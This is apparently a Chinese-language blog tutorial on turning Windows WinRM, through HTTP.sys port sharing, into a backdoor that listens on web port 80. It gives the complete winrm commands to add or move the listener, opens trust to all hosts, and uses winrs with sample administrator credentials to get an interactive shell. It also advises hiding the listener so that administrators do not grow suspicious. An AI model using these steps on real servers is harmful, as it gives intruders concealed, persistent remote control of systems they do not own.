目录
WinRM端口复用原理
端口复用配置
新增80端口监听
修改WinRM默认监听的端口
远程连接WinRM
该端口复用的原理是使用Windows的远程管理服务WinRM,结合 HTTP.sys 驱动自带的端口复用功能,一起实现正向的端口复用后门。
关于WinRM服务,传送门:WinRM远程管理工具的使用
而HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing(端口共享)。所有基于HTTP.sys驱动的HTTP应用都可以共享同一个端口,只需要各自注册的URL前缀不一样。而WinRM就是在HTTP.sys上注册了 wsman 的URL前缀,默认监听 5985端口。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80或新增一个80端口的监听即可实现端口复用,通过Web端口登录Windows服务器。
使用 netsh http show servicestate 命令可以查看所有在 HTTP.sys 驱动上注册过的URL前缀。
对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。如果服务器本来就监听了80和5985端口,则所以我们既需要保留原本的5985监听端口,同时需要新增Winrm监听80端口。这样的话,WinRM同时监听80和5985端口。既能保证原来的5985端口管理员可以正常使用,我们也能通过80端口远程连接WinRM。
通过下面的命令,可以新增WinRM一个80端口的监听。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
查看监听端口,80和5985都在监听
80端口仍然可以正常访问网页
如果该计算机上原本没有开启WinRM服务的话,则需要将WinRm端口监听端口修改为80端口。不然管理员看到该机器开起来5985端口的话,肯定会起疑心。
快速启动WinRM
winrm quickconfig -q
修改WinRM默认端口为80
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
查看监听端口,只有80,没有5985
配置完成之后,原本的HTTP服务可以正常访问,我们也可以通过80端口进行远程WinRM连接管理。
本地需要连接WinRM服务时,首先也需要配置启动WinRM服务。如果是工作组环境的话,还需要设置信任连接的主机,执行以下两条命令即可。
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
通过WinRM连接,并执行whoami命令
winrs -r:http://192.168.10.20 -u:administrator -p:root whoami
通过WinRM连接,并获得交互式的shell
winrs -r:http://192.168.10.20 -u:administrator -p:root cmd
来源:谢公子的博客
责编:凉粉